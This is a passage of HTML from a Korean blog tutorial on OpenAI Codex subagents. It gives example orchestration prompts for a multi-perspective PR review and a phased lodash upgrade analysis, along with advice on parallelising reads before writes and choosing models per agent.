&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Subagents 에이전트별 이름&lt;/b&gt;: 이름이 없으면 /agent로 추적하기 어렵다. 어느 에이전트가 어떤 역할인지 Codex도, 사람도 헷갈린다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각 에이전트 지시 안에 &quot;파일을 수정하면 안 된다&quot; 반복&lt;/b&gt;: Constraints 블록만으로는 부족하다. 에이전트별 지시 안에도 직접 적어야 더 잘 지킨다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력 형식을 줄 수로 제한&lt;/b&gt;: &quot;3~5줄&quot;, &quot;3줄&quot;처럼 길이를 못 박으면 각 에이전트가 과도한 맥락을 쏟아내지 않는다. 통합 단계가 훨씬 깔끔해진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion에 통합 주체 명시&lt;/b&gt;: &quot;세 에이전트 요약을 모아&quot;처럼 누가 결과를 합치는지 적지 않으면 각자 결과만 출력하고 끝날 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 A의 구조를 그림으로 보면 한눈에 들어온다. orchestrator가 작업을 fan-out으로 분배하고, 각 에이전트가 자기 범위만 읽은 뒤 결과를 fan-in으로 합치는 형태다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7EQK2%2FdJMcagyFCpT%2FkJvai3gnxKVNVZFlW8NvLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2144&quot; height=&quot;1174&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; margin: 24px 0; font-family: monospace;&quot;&gt;
&lt;pre class=&quot;less&quot; style=&quot;margin: 0; font-size: 14px; line-height: 1.6;&quot;&gt;&lt;code&gt;┌─────────────────────────────────────────────────────┐
│                   orchestrator                       │
│           (목표 설정 &amp;middot; 결과 검토 &amp;middot; 다음 지시)         │
└──────────────┬───────────────────────────────────────┘
               │  fan-out (작업 분배)
       ┌───────┼───────┐
       ▼       ▼       ▼
  [탐색 agent] [테스트 agent] [리뷰 agent]
       │       │       │
       └───────┼───────┘
               │  fan-in (결과 합산)
               ▼
          최종 보고서
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구조가 머릿속에 그려지면 다음 예시들도 같은 틀의 변주로 읽힌다. 예시 B는 같은 틀에 &quot;관점별 모델 차등&quot;을 더한 형태다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 B &amp;mdash; PR 셀프 리뷰: 보안&amp;middot;성능&amp;middot;가독성을 동시에&lt;/h4&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOY6Sx%2FdJMcaf0PeHL%2Fiiaml4OGhxdAlCQdkrUhWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2136&quot; height=&quot;1098&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰를 혼자 할 때 보안, 성능, 가독성을 한 번에 보려면 시각이 섞인다. 관점별로 에이전트를 따로 두면 각자 다른 렌즈로 같은 코드를 본다. 리뷰 깊이가 다른 관점엔 모델 설정도 다르게 줄 수 있다.&lt;/p&gt;
&lt;pre class=&quot;code-block http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: feature/auth-refactor 브랜치 PR을 세 관점으로 동시 리뷰한다.

Setup:
  대상: src/auth/ 변경분 (main 브랜치 대비)
  범위: 신규 파일 + 수정 파일만

Subagents:
  # 모델 ID 참고: https://platform.openai.com/docs/codex
  - security-agent (model: o3, effort: high):
      인증 우회, 세션 고정, 입력값 미검증 패턴만 찾아서
      파일명:줄번호 형식으로 목록화해 줘.
  - perf-agent (model: codex-mini-latest, effort: medium):
      N+1 쿼리, 루프 안 DB 호출, 불필요한 await를 찾아서
      파일명:줄번호 형식으로 목록화해 줘.
  - readability-agent (model: codex-mini-latest, effort: low):
      함수 길이 30줄 초과, 인자 5개 초과, 중복 로직을 찾아서
      파일명:줄번호 형식으로 목록화해 줘.

Constraints:
  - 파일 수정 금지. 리뷰 의견만 출력
  - 관점 범위 밖 이슈는 언급하지 않는다

Completion:
  세 에이전트 결과를 &quot;보안 / 성능 / 가독성&quot; 섹션으로 나눠서 출력한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;에이전트별 다른 model/effort&lt;/b&gt;: 보안처럼 놓치면 위험한 검토는 강한 모델과 높은 추론 설정으로 시작하고, 단순 스캔은 가벼운 모델로 시작할 수 있다. 이것은 공식 규칙이 아니라 비용과 위험을 함께 보는 실무 출발점이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;관점 범위 밖 이슈는 언급하지 않는다&quot;&lt;/b&gt;: 이 줄이 없으면 각 에이전트가 다른 관점의 이슈까지 포함해서 결과가 3배로 중복된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력 형식을 &quot;파일명:줄번호&quot;로 통일&lt;/b&gt;: 자유 형식으로 두면 에이전트마다 양식이 달라져서 통합이 어렵다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion의 섹션 구분&lt;/b&gt;: 사소해 보이지만, 통합 에이전트가 섹션 헤더를 인식하고 결과를 분류하는 데 도움이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A와 B는 모두 한 번에 fan-out하는 단순 구조였다. 예시 C는 한 단계 더 나아가, 직렬과 병렬을 섞은 다단계 흐름을 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 C &amp;mdash; 라이브러리 업그레이드 영향 분석: 직렬 &amp;rarr; 병렬 &amp;rarr; 통합&lt;/h4&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1152&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTE5Hs/dJMcaf0PeHU/oBHK515h868D41qg2KmYNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTE5Hs%2FdJMcaf0PeHU%2FoBHK515h868D41qg2KmYNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2118&quot; height=&quot;1152&quot; data-origin-width=&quot;2118&quot; data-origin-height=&quot;1152&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;큰 의존성을 올릴 때 &quot;어디가 깨지는지&quot;를 보려면 먼저 전체 사용처를 파악해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음에 영역별로 나눠서 동시에 분석하고, 마지막에 합친다. A&amp;middot;B와 달리 에이전트 실행 순서가 있다.&lt;/p&gt;
&lt;pre class=&quot;code-block yaml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: lodash 4 -&amp;gt; 6 업그레이드 시 영향 범위를 분석한다.

Setup:
  저장소: 현재 작업 디렉토리
  대상 패키지: lodash (4.x -&amp;gt; 6.x)

Phase 1 (직렬):
  - scan-agent: lodash를 import하는 파일 전체 목록을 출력하고
      reports/lodash-usage.md 에 저장해 줘.

Phase 2 (병렬, Phase 1 완료 후 실행):
  - api-agent: reports/lodash-usage.md를 읽고 lodash 6에서
      제거되거나 시그니처가 바뀐 함수만 정리해 줘.
      결과를 reports/api-changes.md 에 저장해 줘.
  - test-agent: reports/lodash-usage.md를 읽고 lodash 관련
      테스트 파일을 찾아서 커버리지 갭을 요약해 줘.
      결과를 reports/test-gaps.md 에 저장해 줘.
  - type-agent: reports/lodash-usage.md를 읽고 TypeScript 타입
      불일치 가능성이 있는 파일을 목록화해 줘.
      결과를 reports/type-risks.md 에 저장해 줘.

Phase 3 (직렬, Phase 2 완료 후 실행):
  - merge-agent: reports/ 아래 세 파일을 읽어서 파일별 대응
      우선순위를 &quot;위험도: 높음/중간/낮음&quot; 기준으로 정리해 줘.

Constraints:
  - scan-agent, api-agent, test-agent, type-agent: 파일 수정 금지
  - merge-agent: reports/ 파일만 읽고, 코드 파일 수정 금지

Completion:
  merge-agent 결과가 콘솔에 출력되면 완료.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Phase 1/2/3 명시적 분리&lt;/b&gt;: Codex가 순서를 추론하게 두면 Phase 1 완료 전에 Phase 2가 실행될 수 있다. &quot;Phase 1 완료 후 실행&quot;을 직접 적어야 한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;시그니처&lt;/b&gt;: 함수의 이름, 매개변수(입력), 반환 타입을 합친 외형 정보다. &quot;시그니처가 바뀐 함수&quot;란 호출 방법이 달라진 함수를 뜻한다. 업그레이드 후 이전 코드가 그대로 동작하지 않는 원인이 된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;커버리지 갭&lt;/b&gt;: 테스트가 실행하지 않는 코드 영역이다. &quot;커버리지 갭을 요약해 줘&quot;는 lodash를 쓰는 코드 중 테스트가 없는 부분을 찾아 달라는 뜻이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;중간 산출을 파일로 남기기 (reports/*.md)&lt;/b&gt;: Phase 2 에이전트가 Phase 1 결과를 메모리에서만 받는 방식은 불안정하다. 파일에 쓰고 읽게 하면 각 단계를 독립적으로 검증할 수 있다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;merge-agent 읽기 범위를 &quot;reports/ 파일만&quot;으로 제한&lt;/b&gt;: 범위를 적지 않으면 전체 저장소를 다시 읽는다. 통합 에이전트는 중간 산출물만 보면 충분하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion: 마지막 에이전트 기준으로 명시&lt;/b&gt;: &quot;모든 에이전트 완료 후&quot;처럼 모호하게 적으면 완료 판단이 흔들린다. 마지막 단계 에이전트를 명시해야 Codex가 종료 시점을 정확히 안다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0fff4; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #27ae60; margin: 18px 0;&quot;&gt;&lt;b&gt;세 예시에서 반복된 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;에이전트마다 역할과 산출 형식을 따로 적었다 &amp;mdash; &quot;요약해 줘&quot;보다 &quot;3줄로 파일명:줄번호 형식으로&quot;가 낫다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;쓰기를 허용한 에이전트는 쓸 파일 경로를 명시했다 &amp;mdash; 경로 없이 허용하면 어디에 저장할지 임의로 정한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;Constraints의 파일 수정 금지를 에이전트 지시 안에도 반복했다 &amp;mdash; 블록 하나로는 부족하다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Completion에 통합 주체 또는 마지막 에이전트를 명시했다 &amp;mdash; 이 줄이 없으면 언제 끝나는지 모호해진다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 섹션 4 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 병렬 실행 &amp;mdash; 읽기와 쓰기를 구분하라&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1774&quot; data-origin-height=&quot;976&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boWZ7P/dJMcad2Y1ed/SufKz5LGv2HeMvAW5LVAu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboWZ7P%2FdJMcad2Y1ed%2FSufKz5LGv2HeMvAW5LVAu0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1774&quot; height=&quot;976&quot; data-origin-width=&quot;1774&quot; data-origin-height=&quot;976&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 읽기 중심 작업에 먼저 적용한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 서브에이전트 문서&lt;/a&gt;는 병렬 에이전트가 코드베이스 탐색이나 여러 단계가 있는 기능 계획처럼 나누기 쉬운 작업에 잘 맞는다고 설명한다. 초보자에게는 이 말을 &quot;먼저 읽기 중심 작업부터 나눠 보라&quot;는 운영 기준으로 받아들이는 편이 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;탐색(exploration, 파일과 구조를 살펴보는 일), 테스트 실행, 이슈 트리아지(문제의 원인과 우선순위를 가르는 일), 요약처럼 파일을 읽고 분석하는 작업은 병렬화에 적합하다. 서로 다른 에이전트가 같은 파일을 동시에 수정하지 않기 때문에 코드 충돌 가능성이 낮다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;테스트 실행은 완전한 읽기 작업이 아닐 수 있다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;실제 테스트는 캐시 파일을 만들거나 스냅샷을 갱신하거나 데이터베이스를 건드릴 수 있다. 그래서 &quot;테스트 실행 에이전트&quot;를 둘 때는 프로덕션 DB, 실서비스 API 키, 외부 결제&amp;middot;메일 발송 같은 부작용이 없는지 먼저 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 오래된 프로젝트에 처음 들어갔다고 해 보자. 디렉토리 구조를 보는 에이전트, 사용 중인 라이브러리를 정리하는 에이전트, 테스트가 어디까지 있는지 확인하는 에이전트를 동시에 실행할 수 있다. 세 작업 모두 읽기 전용이라 충돌이 거의 없다. 각 에이전트가 짧은 요약만 돌려주면, 메인 에이전트는 그 요약을 모아 전체 그림을 만든다. 직접 하나씩 읽는 것보다 대화창도 훨씬 깔끔하게 유지된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 쓰기 작업은 충돌에 주의한다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;병렬 쓰기는 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 에이전트가 동시에 코드를 고치면 충돌과 조율 비용이 커질 수 있다. 그래서 쓰기 병렬화는 처음부터 조심해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 에이전트가 동시에 같은 파일을 고치면 충돌 가능성이 매우 높다. 나중에 어느 변경을 살릴지 다시 정리해야 하므로, 병렬화로 아낀 시간을 되돌려 쓰게 된다. 쓰기 작업은 파일 단위로 작업 영역을 나누거나, 아예 순서대로 처리하는 방식이 더 현실적이다.&lt;/p&gt;
&lt;!-- callout: blue --&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 20px 0;&quot;&gt;&lt;b&gt;읽기 vs 쓰기 판단 기준&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;각 서브에이전트가 &quot;읽고 분석해서 요약을 돌려준다&quot;면 병렬화하기 좋다.&lt;br /&gt;&quot;특정 파일을 직접 수정한다&quot;면 누가 어떤 파일을 고칠지 먼저 나눠야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;4.3 작업 조율은 Codex가 도와준다&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 서브에이전트가 실행되는 동안 생성, 작업 배정, 대기, 결과 취합 같은 조율은 Codex가 도와준다. 이런 조율을 오케스트레이션이라고 부르지만, 초보자는 &quot;여러 작업자를 관리하는 일&quot; 정도로 이해하면 충분하다. 다만 이것이 사용자의 검증 책임까지 대신한다는 뜻은 아니다. 파일 소유권, 완료 기준, 결과 형식은 사용자가 분명히 적어야 하고, 마지막 검증도 직접 해야 한다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/concepts/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;서브에이전트 문서&lt;/a&gt; 참조).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 모델 배분 전략&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트마다 모델을 다르게 줄 수 있지만, 초보자가 처음부터 모델 카탈로그를 외울 필요는 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본값으로 시작하고, 느리거나 비싸거나 위험한 작업이 반복될 때만 역할별 조정을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 이름과 제공 범위는 계정과 시점에 따라 달라질 수 있으므로 실제 선택 전에는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/models&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Models 문서&lt;/a&gt;와 CLI의 모델 선택기를 함께 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;( 하기 내용은 실제 codex 사용하시는 분들이 아닌 api 방식으로 사용하는 분들이, 비용 대비 성능 최적화를 하기 위해 사용하는 전략이니, 가볍게 보고 어렵다면 데충 넘어가는것을 추천한다. )&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1170&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b86pCl/dJMcajvoIBI/d3ZUqwtQBKBKW6N6KJAoNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb86pCl%2FdJMcajvoIBI%2Fd3ZUqwtQBKBKW6N6KJAoNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2154&quot; height=&quot;1170&quot; data-origin-width=&quot;2154&quot; data-origin-height=&quot;1170&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;&lt;caption style=&quot;text-align: left; color: #495057; font-size: 14px; margin-bottom: 8px;&quot;&gt;서브에이전트 모델 선택을 위한 실무 기준&lt;/caption&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;운영 기준&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot; scope=&quot;col&quot;&gt;이유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;처음 쓰는 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;세션 기본 모델 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델 선택보다 역할&amp;middot;범위&amp;middot;완료 기준이 더 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;파일 목록 수집, 구조 요약&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가벼운 모델과 낮은 reasoning effort(생각의 깊이 &amp;mdash; 높을수록 느리고 비싸다)로 시작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;깊은 추론보다 빠른 스캔과 짧은 요약이 중요하다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;보안, 설계, 최종 통합 판단&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가능한 강한 모델과 높은 effort로 시작&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;가정 검증과 엣지 케이스 탐색 실패 비용이 크다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;비용이나 속도가 부담될 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;모델보다 에이전트 수를 먼저 줄인다&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트는 단일 실행보다 토큰 사용과 대기 시간이 늘 수 있다&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;실무 출발점&lt;/b&gt;
